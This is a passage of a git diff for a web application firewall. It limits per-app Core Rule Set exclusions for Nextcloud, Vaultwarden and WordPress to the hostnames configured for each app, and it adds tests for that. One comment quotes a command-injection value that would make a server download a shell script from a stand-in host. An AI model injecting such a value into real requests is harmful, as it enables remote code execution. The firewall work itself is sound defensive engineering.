are the fields where Nextcloud # sends a search, a name, a file name, a folder, a comment, a note, a status or # a document's text. Each exclusion runs with the request, before the rules it @@ -29,6 +29,13 @@ # "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL # injection, path traversal and script injection are still refused there. +# Unless SWW_APPS lists nextcloud for the request's hostname, every rule below +# is skipped. Inspect sets tx.app_nextcloud when it does. +# The skip reaches only phase 1, so a rule of a later phase must check +# tx.app_nextcloud itself. +SecRule &TX:app_nextcloud "@eq 0" \ + "id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD" + # The sync client and the Files app use these WebDAV methods besides those # the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the # older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each: @@ -246,3 +253,5 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \ SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \ "id:900118,phase:1,pass,nolog,chain" SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW" + +SecMarker END_NEXTCLOUD diff --git a/internal/coreruleset/nextcloud_test.go b/internal/coreruleset/nextcloud_test.go index 0ea7f9c..a4341b6 100644 --- a/internal/coreruleset/nextcloud_test.go +++ b/internal/coreruleset/nextcloud_test.go @@ -47,10 +47,41 @@ const ( // nextcloudOther is a JSON field no exclusion names. const nextcloudOther = `{"other":"python3"}` +// nextcloud is Nextcloud's name in SWW_APPS. +const nextcloud = "nextcloud" + func TestOrdinaryNextcloudRequestsPass(t *testing.T) { t.Parallel() - wantRecordedRequestsPass(t, "nextcloud-requests.txt") + wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud) +} + +func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(t *testing.T) { + t.Parallel() + + crs := servingApps(t, map[string][]string{ + giteaHost: {gitea}, otherHost: {nextcloud}, + }) + + // A search, which only Nextcloud's fixes let through. + search := get(nextcloudUsers + "?search=python3") + + wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{}) + wantResult(t, crs, withHost(search, giteaHost), matched(932260)) +} + +func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(t *testing.T) { + t.Parallel() + + crs := servingApps(t, map[string][]string{ + giteaHost: {gitea}, otherHost: {nextcloud}, + }) + + // Listing a folder, as the sync client does. + list := request{nextcloudPropFind, nextcloudFiles, nil} + + wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{}) + wantResult(t, crs, withHost(list, giteaHost), matched(911100)) } // nextcloudQueryFields are the query fields that skip 930120, 932120, 932250 diff --git a/internal/coreruleset/vaultwarden.conf b/internal/coreruleset/vaultwarden.conf index cb7eb19..4517103 100644 --- a/internal/coreruleset/vaultwarden.conf +++ b/internal/coreruleset/vaultwarden.conf @@ -1,4 +1,4 @@ -# The thirteenth change: on Vaultwarden's paths, some fields skip the rules that +# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that # refused ordinary Vaultwarden requests there. They are the fields where # Vaultwarden receives a name, a password hint or an email address in plain # text, and the names of uploaded files. Each exclusion runs with the request, @@ -17,6 +17,13 @@ # 932250: ls -la # 932260: python3 +# Unless SWW_APPS lists vaultwarden for the request's hostname, every rule below +# is skipped. Inspect sets tx.app_vaultwarden when it does. +# The skip reaches only phase 1, so a rule of a later phase must check +# tx.app_vaultwarden itself. +SecRule &TX:app_vaultwarden "@eq 0" \ + "id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN" + # Names and password hints, in JSON bodies, skip the four rules: # name: signing up, editing the account's profile, and creating or renaming # an organization or a group, "python3 .htaccess team" @@ -82,3 +89,5 @@ SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \ SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \ "id:900153,phase:1,pass,nolog,\ ctl:ruleRemoveTargetById=920120;FILES" + +SecMarker END_VAULTWARDEN diff --git a/internal/coreruleset/vaultwarden_test.go b/internal/coreruleset/vaultwarden_test.go index c7c8590..b3548ce 100644 --- a/internal/coreruleset/vaultwarden_test.go +++ b/internal/coreruleset/vaultwarden_test.go @@ -7,6 +7,8 @@ import ( "slices" "strings" "testing" + + "sneak.berlin/go/smallwebwaf/internal/coreruleset" ) // vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default. @@ -30,7 +32,22 @@ const vaultwardenEmail = `{"email":"VALUE"}` func TestOrdinaryVaultwardenRequestsPass(t *testing.T) { t.Parallel() - wantRecordedRequestsPass(t, "vaultwarden-requests.txt") + wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden") +} + +func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(t *testing.T) { + t.Parallel() + + crs := servingApps(t, map[string][]string{ + giteaHost: {gitea}, otherHost: {"vaultwarden"}, + }) + + // An address for the data breach report, which only Vaultwarden's fixes + // let through. + report := get(vaultwardenBreachReport + "python3%40example.com") + + wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{}) + wantResult(t, crs, withHost(report, giteaHost), matched(932260)) } // vaultwardenField is a field Vaultwarden receives in plain text: the diff --git a/internal/coreruleset/wordpress.conf b/internal/coreruleset/wordpress.conf index da98bab..f97c9dc 100644 --- a/internal/coreruleset/wordpress.conf +++ b/internal/coreruleset/wordpress.conf @@ -1,10 +1,17 @@ -# The ninth change: on WordPress's paths, some fields skip the rules that refused +# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused # ordinary WordPress requests there. Each exclusion runs with the request, before # the rules it switches off, so this file is loaded before the Core Rule Set's # rules. Each comment names a request the rule refused. An exclusion on a field # of a body applies only when the query has no parameter of that name, so it # matters only while SWW_WAF_BODY_LIMIT is set. +# Unless SWW_APPS lists wordpress for the request's hostname, every rule below is +# skipped. Inspect sets tx.app_wordpress when it does. +# The skip reaches only phase 1, so a rule of a later phase must check +# tx.app_wordpress itself. +SecRule &TX:app_wordpress "@eq 0" \ + "id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS" + # WordPress takes a call to its REST API at any of four addresses: # /wp-json/wp/v2/posts/1 # /index.php/wp-json/wp/v2/posts/1 @@ -195,3 +202,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$" # so skips 932340 there. SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \ "id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer" + +SecMarker END_WORDPRESS diff --git a/internal/discriminator/coreruleset_test.go b/internal/discriminator/coreruleset_test.go index b2196be..df1e062 100644 --- a/internal/discriminator/coreruleset_test.go +++ b/internal/discriminator/coreruleset_test.go @@ -10,6 +10,7 @@ import ( "testing" "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/discriminator" "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/requestlog" ) @@ -21,6 +22,7 @@ const ( wafDisabledRules = "SWW_WAF_DISABLED_RULES" wafExemptPaths = "SWW_WAF_EXEMPT_PATHS" wafBodyLimit = "SWW_WAF_BODY_LIMIT" + apps = "SWW_APPS" block = "block" detect = "detect" ) @@ -290,6 +292,27 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) { } } +func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) { + t.Parallel() + + // Only gitea's fixes let a file name through in path, a parameter + // gitea sends file names in. + const fileName = "/?path=.gitignore" + + s := startDiscriminator(t, "", map[string]string{ + wafMode: block, apps: siteA + ":gitea", + }) + + wantDisposition(t, do(t, s.question(siteA, client, fileName)), + http.StatusOK, discriminator.DispositionAllow) + wantDisposition(t, do(t, s.question(siteB, client, fileName)), + http.StatusForbidden, discriminator.DispositionDeny) + + lines := s.out.requestLines(t, 2) + wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward) + wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet) +} + func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) { t.Parallel() diff --git a/internal/discriminator/proxy.go b/internal/discriminator/proxy.go index 3e6215c..e269221 100644 --- a/internal/discriminator/proxy.go +++ b/internal/discriminator/proxy.go @@ -221,7 +221,8 @@ func newReputation( // NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL, // without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies // up to SWW_WAF_BODY_LIMIT, with the exclusions in -// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It +// SWW_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_APPS, +// or nil while SWW_WAF_MODE is off. It // reads at most QuestionBodyMaxBytes less one byte: a question's body of // QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a // JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is @@ -236,6 +237,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) { ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules, BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1), ExclusionsFile: cfg.CoreRuleSetExclusionsFile, + Apps: cfg.Apps, }) if err != nil { return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)